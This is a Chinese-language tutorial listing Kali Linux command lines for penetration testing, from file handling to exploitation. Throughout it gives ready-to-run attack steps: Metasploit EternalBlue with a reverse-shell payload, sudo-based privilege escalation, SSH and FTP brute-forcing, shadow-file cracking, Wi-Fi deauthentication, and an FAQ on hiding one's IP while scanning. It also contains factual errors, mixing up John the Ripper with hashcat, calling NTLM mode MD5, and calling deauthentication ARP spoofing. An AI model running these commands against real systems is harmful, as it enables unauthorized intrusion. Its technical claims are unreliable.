kali命令行是渗透测试和安全研究中的核心工具,掌握其常用命令能显著提升工作效率,以下从基础操作、信息收集、漏洞利用、密码攻击、网络分析及系统维护六个维度,详细解析kali命令行的核心功能与实践技巧。

基础操作与文件管理
命令行交互是kali的基础,首先需熟悉文件和目录操作。ls -la
命令可列出所有文件及权限、所有者等详细信息,其中-a
显示隐藏文件,-l
以长格式输出。cd
命令用于切换目录,如cd /home/user
进入用户目录,cd ..
返回上级目录,文件复制使用cp -r
(递归复制目录),移动或重命名文件用mv
,删除文件或目录则通过rm -rf
(强制递归删除,需谨慎使用),文本编辑器中,nano
适合新手,vim
功能更强大,需掌握i
进入编辑模式、Esc
退出编辑模式、wq
保存退出等基本操作。
权限管理是安全重点,chmod
命令修改文件权限,如chmod 755 script.sh
设置所有者可读写执行,组和其他用户可读执行;chown
更改文件所有者,如chown user:group file.txt
,网络连通性测试中,ping -c 4 target.com
发送4个ICMP包检测目标可达性,traceroute
追踪数据包路径,netstat -tuln
查看监听端口及协议。
信息收集与扫描
信息收集是渗透测试的第一步,nmap是端口扫描的核心工具。nmap -sS -p 1-1000 target.com
进行TCP SYN扫描(半开放扫描),-sV
探测服务版本,-O
尝试识别操作系统,--script vuln
调用漏洞脚本检测已知漏洞,子域名枚举可使用dnsrecon -d example.com -t brt
进行字典爆破,或amass enum -passive -d example.com
被动收集子域名。
目录和文件扫描中,dirb http://target.com
基于字典扫描隐藏目录,gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
功能类似但支持多线程,对于网络空间测绘,theHarvester -d example.com -b google
可从搜索引擎收集邮箱、子域名等信息,maltego
通过图形化界面关联分析开源情报。

漏洞利用与提权
metasploit框架是漏洞利用的利器,通过msfconsole
启动控制台,使用search ms17_010
搜索漏洞模块,use exploit/windows/smb/ms17_010_eternalblue
加载模块,set RHOSTS target_ip
设置目标IP,set payload windows/x64/meterpreter/reverse_tcp
选择载荷,exploit
执行攻击,成功后可通过getuid
查看当前用户权限,sysinfo
获取系统信息。
本地提权中,sudo -l
查看当前用户的sudo权限,若存在NOPASSWD
配置,可直接通过sudo /bin/bash
提权,内核漏洞利用可使用searchsploit "Linux Kernel 4.4"
搜索公开漏洞代码,编译后执行,Windows系统提权可尝试Windows-Exploit-Suggester.py
脚本,比对内核版本匹配已知漏洞。
密码攻击与哈希破解
密码攻击是常见攻击向量,john
(John the Ripper)是哈希破解工具,首先使用hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
通过字典破解MD5哈希,-m 1000
指定哈希类型,rockyou.txt
是kali内置的常用密码字典,对于抓取的哈希文件,如/etc/shadow
,可通过unshadow passwd.txt shadow.txt
合并后进行破解。
在线密码攻击需谨慎使用合法授权目标,hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target_ip
使用SSH协议进行暴力破解,medusa -h target_ip -U users.txt -P passwords.txt -M ftp
则针对FTP服务,密码策略可通过crunch 8 12 -a 2 -o custom_wordlist.txt
生成自定义复杂字典,结合规则增强破解效率。

网络流量分析与嗅探
Wireshark通过命令行tshark
实现流量分析,tshark -i eth0 -f "tcp port 80" -w capture.pcap
捕获eth0接口的HTTP流量并保存为文件,实时监控流量时,tcpdump -i eth0 -n -vv 'tcp dst port 443'
捕获HTTPS流量并显示详细信息,-n
不解析域名,-vv
显示详细数据包信息。
无线网络攻击中,airmon-ng start wlan0
将无线网卡监听模式,airodump-ng wlan0mon
扫描附近WiFi网络,aireplay-ng -0 10 -a BSSID wlan0mon
进行ARP欺骗断开特定设备连接,aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
破解WEP/WPA-PSK握手包,此类操作需在合法授权下进行。
系统维护与服务配置
kali系统更新需定期执行apt update && apt upgrade -y
,apt autoremove
清理无用包,服务管理中,systemctl start apache2
启动Apache服务,systemctl enable ssh
设置SSH开机自启,防火墙配置使用ufw
,如ufw allow 22/tcp
允许SSH端口,ufw enable
启用防火墙。
日志分析是安全审计的关键,grep "Failed password" /var/log/auth.log
筛选登录失败日志,logwatch --detail high --mailto admin@example.com
生成日志报告并发送邮件,系统信息可通过uname -a
查看内核版本,lscpu
获取CPU信息,free -h
查看内存使用情况。
相关问答FAQs
Q1: 如何在kali命令行中隐藏自己的真实IP进行扫描?
A1: 可通过代理或Tor网络隐藏真实IP,首先配置代理,如export http_proxy=http://proxy_ip:port
,然后使用nmap
的--source-port
或-S
选项指定伪造IP,或使用torsocks nmap -sT target.com
通过Tor网络扫描。proxychains
工具可将命令流量通过代理转发,例如proxychains nmap -sT target.com
,需先配置/etc/proxychains4.conf
添加代理服务器信息。
Q2: kali中如何批量扫描内网存活主机?
A2: 可使用nmap
的-sn
选项进行主机发现,如nmap -sn 192.168.1.0/24
扫描整个C段,通过arp-scan
更高效,arp-scan --localnet
发送ARP请求获取响应主机列表,对于大规模网络,masscan
适合快速扫描,masscan 10.0.0.0/8 -p80 --rate=1000
以每秒1000包的速度扫描80端口,结果可保存为masscan 10.0.0.0/8 -p80 -oL results.txt
,结合netdiscover
的主动/被动模式,netdiscover -i eth0 -r 192.168.1.0/24
可进一步确认存活主机及开放服务。